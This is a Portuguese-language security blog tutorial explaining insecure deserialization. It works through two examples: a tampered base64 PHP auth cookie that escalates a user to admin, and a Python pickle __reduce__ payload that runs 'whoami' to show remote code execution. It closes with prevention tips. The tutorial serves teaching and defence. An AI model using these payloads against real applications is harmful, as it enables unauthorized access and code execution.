Insecure Deserialization - Entenda sobre!
Este post tem o intuito de passar a teoria e um pouco de prática sobre a desserialização insegura.
Introdução
Serialização é o processo de conversão de objeto para uma sequência de bytes.
Desserialização é o processo de conversão de uma sequência de bytes para um estado de objeto.
Os objetos serializados podem ser legíveis em formato (human-readable) como por exemplo em: XML, JSON, SOAP, YAML e na serialização PHP; ou em binário como o caso do Java, C++ e em python utilizando o módulo pickle que em nosso caso será o que iremos utilizar mais na frente como exemplo prático.
A Serialização tem o intuito de tornar uma estrutura de dados complexa como objetos e seus campos em um formato mais simples, que podem ser enviados como um fluxo sequencial de bytes, enquanto a desserialização realiza o processo de restaurar o fluxo de bytes para o estado original do objeto.
Agora o que seria Desserialização Insegura e como ela ocorre?
A Desserialização Insegura é classificada pela OWASP TOP 10 em: A08:2021-Software and Data Integrity Failures, e pela CWE-502:Deserialization of Untrusted Data, e ocorre quando dados serializados controláveis pelo usuário podem ser manipulados, causando prejuízos durante o processo de desserialização que podem levar a diversos ataques, como por exemplo uma Execução Remota de Código(RCE), uma falha no controle de acesso, etc.
Então para podermos entender melhor como é a Desserialização Insegura na prática, vamos para um exemplo em PHP e em Python:
Na prática
Exemplo 1 - PHP:
Uma página em PHP emprega esse processo de serialização e desserialização em cookies não criptografados e em base64 após a autenticação do usuário para controle de autorização dos usuários, da seguinte forma:
Tzo0OiJBdXRoIjozOntzOjU6InVzZXIiO3M6NToiamFtZXMiO3M6MzoibG9naW4iO3M6ODoiaXNsb2dnZWQiO3M6MjoiaWQiO2I6MTt9
Ao decodar o base64 no site: https://www.base64decode.org/, é possível ver o objeto serializado:
O:4:”Auth”:3:{s:5:”user”;s:5:”james”;s:3:”login”;s:8:”islogged”;s:2:”id”;b:1;}
O = representa um objeto
s = representa uma string
b = representa um valor booleano
Se trocarmos o valor do id de 1 para 0, e encodamos novamente em base64 no seguinte site: https://www.base64encode.org/ e utilizarmos como cookie, ira ser possível realizar um Broken Access Control, escalando o privilégio do usuário para o de admin que é representado pelo id 0.
Tzo0OiJBdXRoIjozOntzOjU6InVzZXIiO3M6NToiamFtZXMiO3M6MzoibG9naW4iO3M6ODoiaXNsb2dnZWQiO3M6MjoiaWQiO2I6MDt9
Isso trata-se apenas de um simples exemplo para simplificar a vulnerabilidade, a maioria dos casos você vai precisar realizar code review para entender como funciona, tal code review que pode advir da exploração de outra vulnerabilidade como XXE, LFI, information disclosures, etc. e dependendo da situação poderá ser extraido uma key que está sendo usada para assinar um token e fazer o processo reverso de geração do token com o seu payload malicioso contido nele.
Há situações onde será interessante utilizar o phpggc, uma tool para exploração de cadeia de gadgets de Insecure Deserialization em PHP:
https://github.com/ambionics/phpggc
Exemplo 2 - Python:
Agora iremos utilizar um exemplo em python com o módulo pickle
A biblioteca pickle por padrão já é insegura e a própria documentação do python alerta sobre isso.
Código em python comentado explicando as linhas:
import pickle
import base64
#Serialização / Convertendo o objeto para um fluxo de byte
a = [1,2,3,4,5]
print('Object:',a)
serialized = (pickle.dumps(a))
print('\n'+'Object serialized:', serialized)
#Conversão do fluxo de bytes serializados para base64
serialized64 = base64.b64encode(serialized)
print('\n'+'Object serialized in base64:', serialized64.decode(),'\n')
#Desserialização / Convertendo o fluxo de bytes serializados em base64 para o estado original do objeto
deselerialized = pickle.loads(base64.b64decode(serialized64))
print('Object Deserialized:',deselerialized)
Execução do código:
Veja, inicialmente temos um objeto contendo uma lista com 1, 2, 3, 4, 5.
Depois serializamos ele com pickle transformando-o em um fluxo de bytes. Logo após é feito um encode em base64 e em seguida o fluxo de bytes serializados em base64 é desserializado deixando-o em seu estado original do objeto.
Então criaremos uma classe para execução de código remoto com o método reduce e depois iremos serializar a mesma.
import pickleimport base64
import os
#Classe Test com execução de whoami
class Test:
def __reduce__(self):
return(os.system, ("whoami",))
print(base64.b64encode((pickle.dumps(Test()))))
Embaixo temos o retorno da classe serializada e encodada em base64:
Nosso código de desserialização será esse:
import pickle
import base64
#Desserialização
ok = input("Digite seu código serializado para Desserialização dele: ")
des = pickle.loads(base64.b64decode(ok))
print(des)
Ao introduzirmos o base64 para desserialização, podemos ver que o comando whoami foi executado, escalado assim em uma vulnerabilidade de Execução Remota de Código.
Prevenção
- Não aceitar objetos serializados de fontes não confiáveis;
- Verificar a integridade com assinaturas digitais nos objetos serializados;
- Isolar e executar o código desserializado em baixo privilégio quando possível.
Tenha em vista que na real life há uma infinidade de situações que podem ocorrer em aplicações, seja PHP, Java, Ruby, ou outras linguagens que não foram abordadas nesse artigo, indico muito a realização dos labs gratuítos da portswigger e confira meu repositório de Tricks Web também, pode te ajudar:
https://portswigger.net/web-security/deserialization/exploiting
https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester
Redes sociais para network: